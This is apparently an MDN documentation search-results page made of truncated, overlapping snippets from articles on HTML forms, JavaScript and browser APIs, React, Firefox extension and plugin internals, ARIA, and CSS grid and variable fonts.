... you can then press enter/return to follow a focused link or press a button (we've included some javascript to make the buttons alert a message), or start typing to enter text in a text input. ...
...And 7 more matches
The HTML5 input types - Learn web development
types, which were added in html5 to allow collection of specific types of data. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the newer input type values available to create native form controls, and how to implement them using html. note: most of the features discussed in this article have wide support across browsers. we'll note any exceptions. if you want more detail on browser support, you should consult our html forms element reference, and in particular our extensive <input> types reference. because html form control appearance may be quite different from a designer's specifications, web developers sometimes build their own custom form controls. we cover this in an advanced tutorial: how to build cus...
... web developers sometimes build their own custom form controls. we cover this in an advanced tutorial: how to build custom form widgets. e-mail address field this type of field is set using the value email for the type attribute: <input type="email" id="email" name="email"> when this type is used, the user is required to type a valid email address into the field. any other content causes the browser to display an error when the form is submitted. you can see this in action in the below screenshot. you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards lik...
... note: you can find examples of the basic text input types at basic input examples (see the source code also). this is another good reason for using these newer input types — improving the user experience for users of these devices. client-side validation as you can see above, email, along with other newer input types, provides built-in client-side error validation — performed by the browser before the data gets sent to the server. it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct immediately, rather than having to wait for a round trip to the server. but it should not be considered an exhaustive security measure! your apps should always perform security checks on any form-submitted data on...
...And 7 more matches
Introduction to web APIs - Learn web development
note: see also the api glossary entry for further description. apis in client-side javascript client-side javascript, in particular, has many apis available to it — these are not part of the javascript language itself, rather they are built on top of the core javascript language, providing you with extra superpowers to use in your javascript code. ...
... for further description. apis in client-side javascript client-side javascript, in particular, has many apis available to it — these are not part of the javascript language itself, rather they are built on top of the core javascript language, providing you with extra superpowers to use in your javascript code. they generally fall into two categories: browser apis are built into your web browser and are able to expose data from the browser and surrounding computer environment and do useful complex things with it. for example, the web audio api provides javascript constructs for manipulating audio in the browser — taking an audio track, altering its volume, applying effects to it, etc. in the background, the browser is actually using some complex lower-level code (e.g. c++ or rust) to...
...for example, the twitter api allows you to do things like displaying your latest tweets on your website. it provides a special set of constructs you can use to query the twitter service and return specific information. ...
...And 7 more matches
Introduction to client-side frameworks - Learn web development
he data underlying the application. in software development, this underlying data is known as state. each of our goals is theoretically simple in isolation. we can iterate over the data to render it; we can add to an object to make a new task; we can use an identifier to find, edit, or delete a task. ...
...to do all of these things through the browser, however, some cracks start to show. the real problem is this: every time we change our application’s state, we need to update the ui to match. we can examine the difficulty of this problem by looking at just one feature of our todo list app: rendering a list of tasks. the verbosity of dom changes building html elements and rendering them in the browser at the appropriate time takes a surprising amount of code. let's say that our state is an array of objects structured like this: const state = [ { id: 'todo-0', name: 'learn some frameworks!' } ] how do we show one of those tasks to our user? we want to represent each task as a list item – an html <li> element inside of an unordered list element (a <ul>). how do we make it? that...
...javascript developers, if left to their own devices, could end up with all the code related to one part of the ui being spread out all over a file — or in another file altogether. routing the most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. when you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. as it does so, the url in your address bar changes. you can save this new url and come back to the page later on, or share it with others so they can easily find the same page. your browser remembers your navigation history and allows you to navigate back and forth, too. this is called server-side routing. modern web applic...
...And 7 more matches
Framework main features - Learn web development
this article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level, and the differences between them. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand the main code features of frameworks. ...
...le ember utilizes handlebars. unlike html, these languages know how to read data variables, and this data can be used to streamline the process of writing your ui. angular apps often make heavy use of typescript. typescript is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla javascript. dsls can't be read by the browser directly; they must be transformed into javascript or html first. transformation is an extra step in the development process, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process a...
...nt inside. the curly braces around subject on line 4 tell the application to read the value of the subject constant and insert it into our <h1>. when used with react, the jsx from the previous snippet would be compiled into this: var subject = "world"; var header = react.createelement("header", null, react.createelement("h1", null, "hello, ", subject, "!") ); when ultimately rendered by the browser, the above snippet will produce html that looks like this: <header> <h1>hello, world!</h1> </header> handlebars the handlebars templating language is not specific to ember applications, but it is heavily utilized in ember apps. handlebars code resembles html, but it has the option of pulling data in from elsewhere. this data can be used influence the html that an application ultimately bui...
...And 7 more matches
Getting started with React - Learn web development
r computer) that the multiple lines of code inside are part of the same expression. you could just as well write the header expression like this: const header = <header> <h1>mozilla developer network</h1> </header> however, this looks kind of awkward, because the <header> tag that starts the expression is not indented to the same position as its corresponding closing tag. of course, your browser can't read jsx without help. when compiled (using a tool like babel or parcel), our header expression would look like this: const header = react.createelement("header", null, react.createelement("h1", null, "mozilla developer network") ); it's possible to skip the compilation step and use react.createelement() to write your ui yourself. in doing this, however, you lose the declarative benef...
... unix/macos terminal in order to use the terminal commands mentioned in this tutorial. gitbash (which comes as part of the git for windows toolset) or windows subsystem for linux (wsl) are both suitable. see command line crash course for more information on these, and on terminal commands in general. also bear in mind that react and reactdom produce apps that only work on a fairly modern set of browsers — ie9+ by way of some polyfills. it is recommended that you use a modern browser like firefox, safari, or chrome when working through these tutorials. also, see the following for more information: "what is npm" on nodejs.org "introducing npx" on the npm blog the create-react-app documentation initializing your app create-react-app takes one argument: the name you'd like to give your...
...app will display a number of messages in your terminal while it works; this is normal! this might take a few minutes, so now might be a good time to go make a cup of tea. when the process is complete, cd into the moz-todo-react directory and run the command npm start. the scripts installed by create-react-app will start being served at a local server at localhost:3000, and open the app in a new browser tab. your browser will display something like this: application structure create-react-app gives us everything we need to develop a react application. its initial file structure looks like this: moz-todo-react ├── readme.md ├── node_modules ├── package.json ├── package-lock.json ├── .gitignore ├── public │ ├── favicon.ico │ ├── index.
...And 7 more matches
Introducing a complete toolchain - Learn web development
ng the software development experience stable and more efficient. we might also refer to this as our development environment. transformation: tooling that allows us to use the latest features of a language (e.g. javascript) or another language entirely (e.g. jsx or typescript) in our development process, and then transforms our code so that the production version still runs on a wide variety of browsers, modern and older. post development: tooling that comes into play after you are done with the body of development to ensure that your software makes it to the web and continues to run. in this case study we'll look at adding tests to your code, and deploying your app using netlify so it is available for all the web to see. let's start working on these, beginning with our development environ...
... your will-it-miss directory called .prettierrc.json. ...
... your quoted values, and it won't use trailing commas (a newer feature of ecmascript that will cause errors in older browsers). you can find more about configuring prettier in its documentation. ...
...And 7 more matches
Creating reftest-based unit tests
e reftest harness compares the display of two web pages. if the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes. if they differ, the test fails. or, alternatively, the conditions can be reversed (a != test rather than an == test). the power of the tool comes from the fact that there is more than one way to achieve any given visual effect in a browser. so, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect. reftest will then compare them and verify whether they produce the same bitmap. this idea can seem odd when first encountered. automated testing usually compares output against an invariant, a "gold standard", that is deter...
...m odd when first encountered. automated testing usually compares output against an invariant, a "gold standard", that is determined to be correct. if one has software that multiplies numbers, one wants a regression test to show that 2 * 2 continues to be calculated to be 4, not something similar to but not quite exactly 4. but an operating system does change with time. it is not invariant. ...
...but the test should not fail, unless the "<blockquote>" element did not cause any indentation at all. ...
...And 7 more matches
Listening to events on all tabs
firefox 3.5 adds support for listening to progress events on all tabs. adding a listener to listen to progress events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to provide notifications of progress events. ...
... all tabs. adding a listener to listen to progress events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to provide notifications of progress events. removing a listener to remove a previously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes. ...
... awebprogress the progress instance responsible for handling the events. ...
...And 7 more matches
Displaying Places information using views
and will save you a lot of time writing basic functionality so that you can focus on building your extension or application. places provides the following built-in views: tree menu toolbar instantiating the three built-in views are simply standard xul elements with a special type attribute whose value is "places". every xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views. the overlay contains javascript required by th...
...ritten as entity reference &amp; and not simply &. <tree type="places" place="place:terms=mozilla&amp;onlybookmarked=1&amp;querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascript to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"]. getservice(ci.nsinavhistoryservice); var query = histserv.getnewquery(); query.searchterms = "mozilla"; query.onlybookmarked = true; var opts = histserv.getnewqueryoptions(); opts.querytype = opts.query_type_bookmarks; var uri = histserv.queriestoquerystring([query], 1, opts); var tree = document.getelementbyid("mytree"); tree.place = uri; these two examples use t...
... replaced by the more powerful nsinavhistoryresultobserver. tree view create a built-in tree view by setting the type attribute to "places" on a tree element. the treechildren element should be empty: <tree type="places"> <treecols> <treecol id="title" flex="1" primary="true" /> <treecol id="url" flex="1" /> </treecols> <treechildren /> </tree> the tree view is implemented in browser/components/places/content/tree.xml. see the tree reference and trees tutorial for general information about trees. if you would like your tree view to be styled in the same manner that firefox styles its uses of the view, you should include the following stylesheet. note that this stylesheet is different from the one given above, which must be included if you use a built-in places view. the fo...
...And 7 more matches
Message manager overview
in the initial version of multiprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the content processes, also called the child processes, run all web content. different tabs may run in different processes. message managers are designed to enable code in one process to communicate with code in a different process. at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process. these scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code in ...
... frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts", but this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script. ...
... manager, the window message manager, and the browser message manager. all three enable chrome code to: load a script into a frame in the content the content process using a loadframescript() function. these scripts are called "frame scripts". communicate with frame scripts using addmessagelistener() and broadcastasyncmessage() or sendasyncmessage() functions. note that in this context, "browser" refers to the xul <browser> object, which is a frame that hosts a single web document. it does not refer to the more general sense of a web browser. global message manager the global message manager operates on every <browser> (that is, every open content tab). loadframescript() loads the given script into every <browser> in every browser window. broadcastasyncmessage() sends the mess...
...And 7 more matches
Hacking Tips
illa/contrib-push/js/src/jit/ion.cpp, line 3196. (gdb) continue compiling self-hosted:650:20470-21501 bailout from self-hosted:20:403-500 invalidate self-hosted:20:403-500 note: the line 3196, listed above, corresponds to the location of the jit spew inside jit::invalidate function. hacking tips benchmarking (shell) arewefastyet.com display the benchmark results of the javascript shell, and browser for b2g. these benchmarks are publicly recognized benchmarks suggested by other companies and are used as a metric to evaluate how fast javascript engines. this tool is maintained by the javascript team, to find regressions and to compare spidermonkey with other javascript engines when possible. to run these benchmarks localy, you can clone arewefastyet sources and look inside the benchmarks...
...anies and are used as a metric to evaluate how fast javascript engines. this tool is maintained by the javascript team, to find regressions and to compare spidermonkey with other javascript engines when possible. to run these benchmarks localy, you can clone arewefastyet sources and look inside the benchmarks directory to run individual benchmarks with your js shell. using the gecko profiler (browser / xpcshell) see the section dedicated to profiling with the gecko profiler. this method of profiling has the advantage of mixing the javascript stack with the c++ stack, which is useful to analyze library function issues. one tip is to start looking at a script with an inverted js stack to locate the most expensive js function, then to focus on the frame of this js function, and to remove the...
...ng the javascript stack with the c++ stack, which is useful to analyze library function issues. one tip is to start looking at a script with an inverted js stack to locate the most expensive js function, then to focus on the frame of this js function, and to remove the inverted stack and look at c++ part of this function to determine from where the cost is coming from. ...
...And 7 more matches
Working with windows in chrome code
lly loaded, so some calls, like win.document.getelementbyid() will fail. to overcome this difficulty, you can move the initialization code to a load handler of the window being opened or pass a callback function, as described below. you can get a window object from a document using document.defaultview. content windows when a xul window contains a widget capable of displaying a page, such as <browser> or <iframe>, the document in that widget is, naturally, separate from the document of the chrome window itself. there also is a window object for each sub-document, although there's no window in a common sense for the sub-document. the same holds for chrome windows opened inside a tab of <tabbrowser>. the elements above the chrome document opened in the tab are separate from your chrome docum...
... in the tab are separate from your chrome document. the following two subsections describe how to cross chrome-content boundaries in either way, i.e. accessing elements which are ancestors of your chrome document, or accessing elements which are descendants of your chrome document (but nevertheless in a different context). accessing content documents assume you have a document loaded in a <tabbrowser>, <browser>, or <iframe> element inside your document. you can use browser.contentdocument to access that document and browser.contentwindow to access the window object of that document. you should be aware of xpcnativewrappers when working with untrusted content. with xpcnativewrappers turned on (which is the default in firefox 1.5+), your extension can safely access the dom of the content do...
...wrappers turned on (which is the default in firefox 1.5+), your extension can safely access the dom of the content document, but not the content javascript. bypassing xpcnativewrapper to work with content javascript directly can lead to security problems. see interaction between privileged and non-privileged pages if you need to interact with the content page. the content shortcut in case of <browser type="content-primary" />, you can use the content shortcut property to accesss the window object of the content document. for example: // alerts the title of the document displayed in the content-primary widget alert(content.document.title); for example, you can use content.document in a browser.xul overlay to access the web page in the selected tab in a firefox window. some examples use _...
...And 7 more matches
Version, UI, and Status Information - Plugins
« previousnext » this chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and check on the current version of the plug-in api and the browser. displaying a status line message users are accustomed to checking the ui status line at the bottom of the browser window for updates on the progress of an operation or the url of a link on the page. you can also use the status line to notify the user of plug-in-related information. the user might appreciate seeing the percentage completed of the current operation or the url of a button or other link object when the cursor is over it, all of which the browser shows. in fact, your plug-in interface should be consistent with the rest of the browser in this way. to accomplish...
...for this reason, your message is always displayed, but you have no control over how long it stays in the status line before another message replaces it. you should use a different method to display messages that the user needs to see, such as error messages. ...
... displays the last status line message it receives, regardless of the message source. for this reason, your message is always displayed, but you have no control over how long it stays in the status line before another message replaces it. you should use a different method to display messages that the user needs to see, such as error messages. getting agent information a plug-in can check which browser is running on the user's current system. browsers communicate with http servers, which store agent software name, version, and operating system in a user_agent field. if you want to gather usage statistics or just find out the version of your plug-in's host browser, this information can help you. the plug-in calls the npn_useragent method to retrieve the contents of the user_agent field. cons...
...And 7 more matches
Gecko Plugin API Reference - Plugins
formation displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in plug-in side plug-in api this chapter describes methods in the plug-in api that are available from the plug-in object. ...
...for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. ...
... overview of plug-in structure sections in the introduction. npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser. the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported an...
...And 7 more matches
EventTarget.addEventListener() - Web APIs
ner will never call preventdefault(). if a passive listener does call preventdefault(), the user agent will do nothing other than generate a console warning. see improving scrolling performance with passive listeners to learn more. mozsystemgroup a boolean indicating that the listener should be added to the system group. available only in code running in xbl or in the chrome of the firefox browser. usecapture optional a boolean indicating whether events of this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree. events that are bubbling upward through the tree will not trigger a listener designated to use capture. event bubbling and capturing are two ways of propagating events that occur in an element that is nes...
...s to false. note: for event listeners attached to the event target, the event is in the target phase, rather than the capturing and bubbling phases. events in the target phase will trigger all listeners on an element in the order they were registered, regardless of the usecapture parameter. note: usecapture has not always been optional. ideally, you should include it for the widest possible browser compatibility. wantsuntrusted a firefox (gecko)-specific parameter. if true, the listener receives synthetic events dispatched by web content (the default is false for browser chrome and true for regular web pages). this parameter is useful for code found in add-ons, as well as the browser itself. return value undefined usage notes the event listener callback the event listener can ...
...cating whether or not to use capture. over time, it became clear that more options were needed. rather than adding more parameters to the function (complicating things enormously when dealing with optional values), the third parameter was changed to an object that can contain various properties defining the values of options to configure the process of removing the event listener. because older browsers (as well as some not-too-old browsers) still assume the third parameter is a boolean, you need to build your code to handle this scenario intelligently. you can do this by using feature detection for each of the options you're interested in. for example, if you want to check for the passive option: let passivesupported = false; try { const options = { get passive() { // this function ...
...And 7 more matches
Working with the History API - Web APIs
he referrer will be the url of the document whose window is this at the time of creation of the xmlhttprequest object. example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists. suppose now that the user navigates to http://google.com, then clicks the back button. at this point, the url bar will display http://mozilla.org/bar.html and history.state will contain the stateobj. the popstate event won't be fired because the page has been reloaded. the page itself will look like bar.html. if the user clicks back once ag...
...'t change the document's contents from what they were in the previous step, although the document might update its contents manually upon receiving the popstate event. note: calling history.back() normally behaves the same way as clicking the back button. but there is one important exception: after using history.pushstate(), calling history.back() does not raise a popstate event. clicking the browser's back button (still) does. the pushstate() method pushstate() takes three parameters: a state object; a title (currently ignored); and (optionally), a url. let's examine each of these three parameters in more detail. state object the state object is a javascript object which is associated with the new history entry created by pushstate(). whenever the user navigates to the new state, ...
... which is associated with the new history entry created by pushstate(). whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. ...
...And 7 more matches
Using the Notifications API - Web APIs
tion to a user even if the application is idle or in the background. this article looks at the basics of using this api in your own apps. typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications. the system notification system will vary of course by platform and browser, but this is ok, and the notifications api is written to be general enough for compatibility with most system notification systems. examples one of the most obvious use cases for web notifications is a web-based mail or irc application that needs to notify the user when a new message is received, even if the user is doing something else with another application. many examples of this now exis...
...er must grant the application the right to do so. this is a common requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications. ...
...firefox is already doing this from version 72, for example, and safari has done it for some time. in addition, in chrome and firefox you cannot request notifications at all unless the site is a secure context (i.e. ...
...And 7 more matches
ARIA: cell role - Accessibility
column or row header information, use the colheader or rowheader roles, respecitively. if the cell does not contain header information and is nested in a grid or treegrid, the role of gridcell may be more appropriate. a cell can contain a number of property attributes clarifying the cell's position within the tabular data structure, including aria-colindex, aria-colspan, aria-rowindex, and aria-rowspan. using the native html table element (<table>) along with the table row element (<tr>) and table cell element (<td>) whenever possible is strongly encouraged. associated wai-aria roles, states, and properties context roles role="row" an element with role="row" is a row of cells within a tabular structure. a row contains one or more cells, grid cells, column headers, or row headers w...
...rties context roles role="row" an element with role="row" is a row of cells within a tabular structure. a row contains one or more cells, grid cells, column headers, or row headers within a grid, table or treegrid, and optionally within a rowgroup. role="rowgroup" row is a required cell parent. rowgroup is an optional contextual row parent. it establishes a relationship between descendant rows. it is a structural equivalent to the thead, tfoot, and tbody elements in an html table element. role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row containing cells. table identifies the cell as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native html <table> element. role="g...
... subclass roles role="gridcell" a cell in a row within a grid or treegrid. ...
...And 7 more matches
Web applications and ARIA FAQ - Accessibility
ria enables dynamic, javascript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies. for more information about how to create accessible widgets with aria, see the overview of accessible web applications and widgets. where is aria supported? aria is a relatively new specification, but support for it is growing. a wide variety of commonly-used browsers, assistive technologies, javascript toolkits, and applications now support aria. however, many users may still be using older versions of these technologies. you may want to consider implementing aria using progressive enhancement techniques—such as adding aria using javascript, not directly to your markup—in order to more gracefully support older browsers and assistive technologies. brow...
...olkits, and applications now support aria. however, many users may still be using older versions of these technologies. you may want to consider implementing aria using progressive enhancement techniques—such as adding aria using javascript, not directly to your markup—in order to more gracefully support older browsers and assistive technologies. browsers aria is supported in the following browsers: browser minimum version notes firefox 3.0+ works with nvda, jaws 10+, and orca chrome latest screen reader support still experimental as of chrome 15 safari 4+ safari 5 support is much improved. live region support requires safari 5 with voiceover on ios5 or os x lion opera 9.5+ requires voiceover on os x. tbd: ho...
.... live region support requires safari 5 with voiceover on ios5 or os x lion opera 9.5+ requires voiceover on os x. tbd: how well does this currently work? internet explorer 8+ works with jaws 10+ and nvda. no live region support in nvda. ie9 support is much improved. in some cases, earlier versions may support only some features of aria. more detailed browser compatibility charts are available from multiple sources: caniuse.com the paciello group assistive technologies assistive technologies are increasingly adopting aria. some of them include: assistive technology minimum version for basic aria minimum version for live region and alert support nvda 2010.2 (nvda is always a free upgrade) 2011.1 for firefox, ...
...And 7 more matches
Variable fonts guide - CSS: Cascading Style Sheets
width combinations throughout the publication — giving a much wider range of styles than currently typical on the web (or indeed practical for performance reasons alone). a note about font families, weights, and variants you might notice that we have been talking about having a specific font file for every weight and style (i.e. ...
... you may also find that some variable fonts come split into two files: one for uprights and all their variations, and one containing the italic variations. ...
...typographic terms) the letterforms can be. this is typically set in css using the font-stretch property, with values expressed as a percentage above or below ‘normal’ (100%), any number greater than 0 is technically valid—though it is far more likely that the range would fall closer to the 100% mark, such as 75%-125%. if a number value supplied is outside the range encoded in the font, the browser should render the font at the closest value allowed. note: the % symbol is not used when utilizing font-variation-settings. font-stretch: 115%; font-variation-settings: 'wdth' 115; the following live example's css can be edited to allow you to play with font width values. italic the italic (ital) axis works differently in that it is either on or off; there is no in-between. italic de...
...And 7 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
ngside other parts of css, as part of a complete system for doing the layout. in this guide, i will explain how a grid fits together with other techniques you may already be using. grid and flexbox the basic difference between css grid layout and css flexbox layout is that flexbox was designed for layout in one dimension - either a row or a column. grid was designed for two-dimensional layout - rows, and columns at the same time. the two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with grid. one-dimensional vs. two-dimensional layout a simple example can demonstrate the difference between one- and two-dimensional layouts. in this first example, i am using flexbox to lay out a set of b...
...u want to control the alignment by row and column, and this is where grid comes in. the same layout with css grids in this next example, i create the same layout using grid. this time we have three 1fr column tracks. we do not need to set anything on the items themselves; they will lay themselves out one into each cell of the created grid. as you can see they stay in a strict grid, lining up in rows and columns. with five items, we get a gap on the end of row two. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</d...
...the fr unit, when combined with the minmax() function can give us very similar behavior to the flex properties in flexbox while still enabling the creation of a layou...
...And 7 more matches
Subgrid - CSS: Cascading Style Sheets
introduction to subgrid when you add display: grid to a grid container, only the direct children become grid items and can then be placed on the grid that you have created. the children of these items display in normal flow. you can "nest" grids by making a grid item a grid container. ...
... introduction to subgrid when you add display: grid to a grid container, only the direct children become grid items and can then be placed on the grid that you have created. the children of these items display in normal flow. you can "nest" grids by making a grid item a grid container. ...
...e children of these items display in normal flow. you can "nest" grids by making a grid item a grid container. these grids however are independent of the parent grid and of each other, meaning that they do not take their track sizing from the parent grid. this makes it difficult to line nested grid items up with the main grid. if you set the value subgrid on grid-template-columns, grid-template-rows or both, instead of creating a new track listing the nested grid uses the tracks defined on the parent. for example, if you use grid-template-columns: subgrid and the nested grid spans three column tracks of the parent, the nested grid will have three column tracks of the same size as the parent grid. gaps are inherited but can also be overridden with a different gap value. line names can be pas...
...And 7 more matches
grid-template - CSS: Cascading Style Sheets
the grid-template css property is a shorthand property for defining grid columns, rows, and areas. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...lumns, rows, and areas. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ed in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 7 more matches
Event developer guide - Developer guides
Web › Guide › Events
events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types. the overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers. the custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code. the remaining pages describe how to use events of different kinds defined by web browsers. unfortunately, these events have been defined piece by piece as web br...
...ted by user objects, register listener functions to handle those events, and trigger the events in user code. the remaining pages describe how to use events of different kinds defined by web browsers. unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers. ...
...functions to handle those events, and trigger the events in user code. the remaining pages describe how to use events of different kinds defined by web browsers. unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers. the device on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3d transforms. ...
...And 7 more matches
Using HTML sections and outlines - Developer guides
important: there are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final w3c specification. therefore the outline algorithm should not be used to convey document structure to users. authors are advised to use heading rank (h1-h6) to convey document structure. the html5 specification introduced several semantic sectioning elements to help organize the structure of documents. semantic sectioning elements are specifically designed to communicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants. semantic sectioning elements clarify the larger-scale structures within a document. they are intended to enhance the limited semantics ...
...f of users, such as screen readers and voice assistants. semantic sectioning elements clarify the larger-scale structures within a document. they are intended to enhance the limited semantics of earlier versions of html, which included only the <div> tag as a generic mechanism for grouping related content. for example, <div class="navigation"> does not suggest any meaning about its content to a browser; only a human reading the html source can divine the meaning of a class like navigation. by contrast, the <nav> sectioning element more clearly describes to browsers and other devices the content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's content. new semantic elements were added to html5 to improve and clari...
...tional structures to help users move through and understand where they are in a site's or page's content. new semantic elements were added to html5 to improve and clarify the sectioning of websites into meaningful areas of content. it is important for developers to use these semantic elements in line with their intended purposes. many accessibility tools as well as reader views provided by some browsers rely on semantic sectioning elements. so don't simply swap out an existing tangle of <div> elements for a bunch of <section> elements. section elements in html5 html navigational element (<nav>) defines a section that contains navigation links that appear often on a site. you can have primary and secondary menus, but you cannot nest a <nav> element inside another <nav> element. html artic...
...And 7 more matches
<input type="range"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › range
y box like the number input type. because this kind of widget is imprecise, it shouldn't typically be used unless the control's exact value isn't important. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the user's browser doesn't support type range, it will fall back and treat it as a text input. value a domstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number. events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber ...
...fined values to suggest to the user for this input. any values in the list that are not compatible with the type are not included in the suggested options. the values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. see the range control with hash marks below for an example of how the options on a range are denoted in supported browsers max the greatest value in the range of permitted values. if the value entered into the element exceeds this, the element fails constraint validation. if the value of the max attribute isn't a number, then the element has no maximum value. this value must be greater than or equal to the value of the min attribute. see the html max attribute. min the lowest value in the range of permitted v...
...0.01"> if you want to accept any value regardless of how many decimal places it extends to, you can specify a value of any for the step attribute: <input type="range" min="0" max="3.14" step="any"> this example lets the user select any value between 0 and π without any restriction on the fractional part of the value selected. adding hash marks and labels the html specification gives browsers some flexibility on how to present the range control. nowhere is this flexibility more apparent than in the area of hash marks and, to a lesser degree, labels. the specification describes how to add custom points to the range control using the list attribute and a <datalist> element, but does not have any requirements or even recommendations for standardized hash or tick marks along the length...
...And 7 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
Web › HTML › Element › link
co"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked. these provide useful hints to allow the browser to choose the most appropriate icon available. you can also provide a media type or query inside a media attribute; this resource will then only be loaded if the media condition is true. for example: <link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"> some interesting new performance and security features have...
...: <link href="print.css" rel="stylesheet" media="print"> <link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"> some interesting new performance and security features have been added to the <link> element too. take this example: <link rel="preload" href="myfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"> a rel value of preload indicates that the browser should preload this resource (see preloading content with rel="preload" for more details), with the as attribute indicating the specific class of content being fetched. the crossorigin attribute indicates whether the resource should be fetched with a cors request. other usage notes: a <link> element can occur either in the <head> or <body> element, depending on whether it has a link type th...
...e linked resource. a url can be absolute or relative. hreflang this attribute indicates the language of the linked resource. it is purely advisory. allowed values are determined by bcp47. use this attribute only if the href attribute is present. importance indicates the relative importance of the resource. priority hints are delegated using the values: auto: indicates no preference. the browser may use its own heuristics to decide the priority of the resource. high: indicates to the browser that the resource is of high priority. low: indicates to the browser that the resource is of low priority. note: the importance attribute may only be used for the <link> element if rel="preload" or rel="prefetch" is present. integrity contains inline metadata — a base64-encoded cr...
...And 7 more matches
